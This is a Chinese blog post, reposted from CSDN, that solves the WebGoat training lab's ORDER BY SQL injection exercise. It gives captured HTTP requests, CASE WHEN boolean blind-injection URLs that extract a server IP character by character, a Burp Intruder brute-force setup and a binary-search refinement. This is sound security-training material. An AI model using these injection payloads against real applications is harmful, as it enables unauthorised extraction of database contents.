zoukankan      html  css  js  c++  java
  • 1015.WebGoat SQL注入之 Order by注入解题思路

    ★ Order by 注入
    本文所说的 Order by注入的题目在:Injection Flaws -> SQL injection(mitigation) -> 第8页的题目。网址为:
    http://127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjectionMitigations.lesson/7

    思路在第7页,即利用case when语法来达到sql注入。
    语法:select * from users order by (case when (true) then lastname else firstname end)
    需要利用的是when (true)中的真假判断。
    注意:case语句结尾要有end。

    题目要求获取主机名为webgoat-prd的服务器的IP地址,而且题目中提示了Submit 不存在SQL 注入。

    此题有些类似于SQL 盲注,需要通过when (true)中的真假来判断IP地址的每一位是多少。下面一步步来说明。

    ★ 通过HTTP proxy工具截获http请求
    我用的是burpsuite的free版,对于这道题是够用了。

    需要在Internet Options中设置代理为 127.0.0.1,端口8090(任意指定,不要与现有其他端口冲突)。

    然后在Burpsuite 的Proxy中设置代理,这个网上有一大堆教程可以参考,这里暂不细写。

    抓到的数据包:(按照不同的列排序)

    按hostname排序:
    GET /WebGoat/SqlInjection/servers?column=hostname HTTP/1.1
    Host: 127.0.0.1:8080
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
    Referer: http://127.0.0.1:8080/WebGoat/start.mvc
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Cookie: JSESSIONID=67B417F49820EFE3D57F2AB351603D85
    Connection: close

    按ip排序
    GET /WebGoat/SqlInjection/servers?column=ip HTTP/1.1
    Host: 127.0.0.1:8080
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
    Referer: http://127.0.0.1:8080/WebGoat/start.mvc
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Cookie: JSESSIONID=67B417F49820EFE3D57F2AB351603D85
    Connection: close

    按mac排序
    GET /WebGoat/SqlInjection/servers?column=mac HTTP/1.1
    Host: 127.0.0.1:8080
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
    Referer: http://127.0.0.1:8080/WebGoat/start.mvc
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Cookie: JSESSIONID=67B417F49820EFE3D57F2AB351603D85
    Connection: close

    按status排序
    GET /WebGoat/SqlInjection/servers?column=status HTTP/1.1
    Host: 127.0.0.1:8080
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
    Referer: http://127.0.0.1:8080/WebGoat/start.mvc
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Cookie: JSESSIONID=67B417F49820EFE3D57F2AB351603D85
    Connection: close
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    我们自然的联想到 column参数的值就是 order by的参数。

    正确的查询语句,可以查询到内容。例如,http://127.0.0.1:8080/WebGoat/SqlInjection/servers?column=ip 的结果为:

    [ {
    "id" : "2",
    "hostname" : "webgoat-tst",
    "ip" : "192.168.2.1",
    "mac" : "EE:FF:33:44:AB:CD",
    "status" : "online",
    "description" : "Test server"
    }, {
    "id" : "3",
    "hostname" : "webgoat-acc",
    "ip" : "192.168.3.3",
    "mac" : "EF:12:FE:34:AA:CC",
    "status" : "offline",
    "description" : "Acceptance server"
    }, {
    "id" : "1",
    "hostname" : "webgoat-dev",
    "ip" : "192.168.4.0",
    "mac" : "AA:BB:11:22:CC:DD",
    "status" : "online",
    "description" : "Development server"
    }, {
    "id" : "4",
    "hostname" : "webgoat-pre-prod",
    "ip" : "192.168.6.4",
    "mac" : "EF:12:FE:34:AA:CC",
    "status" : "offline",
    "description" : "Pre-production server"
    } ]
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    如果不确定的话,我们可以传一个任意值试试,例如,使用http://127.0.0.1:8080/WebGoat/SqlInjection/servers?column=test 访问,浏览器返回的结果为:

    Whitelabel Error Page
    This application has no explicit mapping for /error, so you are seeing this as a fallback.

    Tue Sep 18 22:17:08 GMT+08:00 2018
    There was an unexpected error (type=Internal Server Error, status=500).
    user lacks privilege or object not found: TEST in statement [select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by test]
    1
    2
    3
    4
    5
    6
    可以看到,这里的sql语句为: select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by test,我们传给column的值test最终是order by的参数。
    这个sql语句也给出了很多信息(所以此题还算不上SQL盲注),例如列名有 id, hostname, ip, mac, status, description, 表名为servers ,并且查询的是status不为’out of order’ 的信息,这也可以让我们推测到,主机名为webgoat-prd的服务器的status是’out of order’ ,所以正常查询是查询不到主机名为webgoat-prd的服务器的。

    ★ 关键信息: select * from users order by (case when (true) then lastname else firstname)
    这是WebGoat的重要提示,而我们要利用的恰恰是when的条件when (true/false)。

    首先,先把完整的sql语句写出来(根据上面的错误提示):
    select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by <注入点>
    <注入点>采用case when,所以整个sql语句为:

    select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by case when (true/false) then hostname else id end
    1
    即,如果when中的条件为true,按hostname排序,否则按id排序。
    一定要注意:then后面和else后面的列名是合法的,否则sql语句会出错。

    所以,结果如果是按hostname排序,就知道when的条件为true,如果是按id排序,那么when的条件为false。这点要记清楚。

    ★ 构造 when 的条件
    直截了当,判断主机名为webgoat-prd的服务器的IP地址的每一位是多少。

    获取主机名为webgoat-prd的服务器的IP地址:select ip from servers where hostname='webgoat-prd'

    判断第一位是不是1:substring((select ip from servers where hostname='webgoat-prd'),1,1)=1

    然后将这个判断放到when的条件中,整个URL为:

    127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when (substring((select ip from servers where hostname=‘webgoat-prd’),1,1)=1) then hostname else id end)
    在浏览器中打开,可以看到结果是按hostname排序的,说明IP地址的第一位是1.

    然后就可以一位一位的去试了。手动去试比较繁琐,可以使用Burpsuite的Intruder来暴力破解。

    ★ Burpsuite Intruder 暴力破解
    Positions配置如下:
    第一个payload是IP的下标,从1开始的,一定要注意是从1开始。下标最大是15(4个三位数加上3个点)。
    第二个payload是0~9的值,这里没有判断点号,最后只要取按hostname排序的response就知道那些正确的位是多少了。

    注意: 需要将空格写成%20,将单引号写成%27,否则Intruder中跑不过。切记切记。
    最好将输入写到浏览器中执行,然后去Burpsuite的Proxy中的HTTP history中看看结果。然后将HTTP请求拷贝过来。这样可以减少出错的机会。

    GET /WebGoat/SqlInjection/servers?column=(case%20when%20((select%20substring(ip,§1§,1)%20from%20servers%20where%20hostname=%27webgoat-prd%27)=§2§)%20then%20hostname%20else%20id%20end) HTTP/1.1
    Host: 127.0.0.1:8080
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
    Referer: http://127.0.0.1:8080/WebGoat/start.mvc
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Cookie: JSESSIONID=DC012A04A1BADE2548747AC22CBE18F9
    Connection: close

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    在正确的response 的comment列写上说明,好过滤。例如:写上yes,然后选中『Show only commented items』,如图:

    最终结果如下:

    可以看到IP地址为 104.130.219.202
    Congratulations!

    ★ SQL语句
    when条件为true的所有SQL语句为:(在浏览器中使用,切不可直接拷贝到Burpsuite中)

    127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,1,1) from servers where hostname='webgoat-prd')=1) then hostname else id end)
    127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,2,1) from servers where hostname='webgoat-prd')=0) then hostname else id end)
    127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,3,1) from servers where hostname='webgoat-prd')=4) then hostname else id end)
    127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,4,1) from servers where hostname='webgoat-prd')='.') then hostname else id end)
    127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,5,1) from servers where hostname='webgoat-prd')=1) then hostname else id end)
    127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,6,1) from servers where hostname='webgoat-prd')=3) then hostname else id end)
    127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,7,1) from servers where hostname='webgoat-prd')=0) then hostname else id end)
    127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,8,1) from servers where hostname='webgoat-prd')='.') then hostname else id end)
    127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,9,1) from servers where hostname='webgoat-prd')=2) then hostname else id end)
    127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,10,1) from servers where hostname='webgoat-prd')=1) then hostname else id end)
    127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,11,1) from servers where hostname='webgoat-prd')=9) then hostname else id end)
    127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,12,1) from servers where hostname='webgoat-prd')='.') then hostname else id end)
    127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,13,1) from servers where hostname='webgoat-prd')=2) then hostname else id end)
    127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,14,1) from servers where hostname='webgoat-prd')=0) then hostname else id end)
    127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,15,1) from servers where hostname='webgoat-prd')=2) then hostname else id end)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    需要说明的是,(select substring(ip,1,1) from servers where hostname='webgoat-prd')=1 与 substring((select ip from servers where hostname = 'webgoat-prd'), 1,1)=1是等价的。
    所以上面的SQL语句采用了2种写法。

    即这两种写法都是可以的:(在Chrome浏览器上测试通过)
    写法一:127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when (substring((select ip from servers where hostname = ‘webgoat-prd’), 1,1)=1) then hostname else id end)

    写法二:127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,1,1) from servers where hostname=‘webgoat-prd’)=1) then hostname else id end)

    ★ 更进一步
    暴力破解使用的HTTP请求太多了,有没有办法在减少HTTP请求的情况下,得到IP地址的每一位?
    答案是可以,通过二分搜索的方式可以减少很多无用的HTTP请求。IP地址的每一位取值为0到9. 以IP地址的第一位为例,有效值范围为0到9,第一次可以跟(0+9)/2=4 (取整)比较。
    (select substring(ip,1,1) from servers where hostname='webgoat-prd')>4 根据排序的结果,可以知道条件为true还是false。我们已经知道了IP地址第一位为1,即使我们不知道IP地址为1,通过数据是按id排序的,我们也可以知道sql语句的条件是false。比较结果为false,那么有效值范围缩小为0到4.

    再跟(0+4)/2=2比较,(select substring(ip,1,1) from servers where hostname='webgoat-prd')>2,结果为false(因为数据以id排序),有效值范围为0到2。

    再跟(0+2)/2=1比较,(select substring(ip,1,1) from servers where hostname='webgoat-prd')>1结果为false,有效值范围为0和1 。

    再跟(0+1)/2= 0比较,(select substring(ip,1,1) from servers where hostname='webgoat-prd')>0,结果为true,即以hostname排序了。有效值只剩下1了。所以知道IP地址的第一位是1了。

    对于IP地址的第一位,采用4次HTTP请求就得到了,不用比较10次了。
    IP地址的其他位,以此类推。

    整个过程,可以写成脚本,方便以后复用。

    如果有任何疑问,欢迎留言讨论。
    ---------------------
    作者:爱博客大伯
    来源:CSDN
    原文:https://blog.csdn.net/u013553529/article/details/82765062
    版权声明:本文为博主原创文章,转载请附上博文链接!

  • 相关阅读:
    基于NIO的同步非阻塞编程完整案例,客户端发送请求,服务端获取数据并返回给客户端数据,客户端获取返回数据
    NIO编程中buffer对象的理解以及API的使用
    使用简单工厂模式写一个简单的计算器!!!
    java数字转字符串前面自动补0或者其他数字
    jQuery Validate自定义金钱验证,是否为金额格式,保留两位小数,并支持千分制货币格式
    javade多任务处理之Executors框架(线程池)实现的内置几种方式与两种基本自定义方式
    【转】asp.net mvc webapi+angular.js案例
    【转】MVC5中的区域(Areas)
    【转】在ASP.NET MVC中,使用Bundle来打包压缩js和css
    scroll pagination.js数据重复加载、分页问题
  • 原文地址:https://www.cnblogs.com/beijibing/p/10393341.html
Copyright © 2011-2022 走看看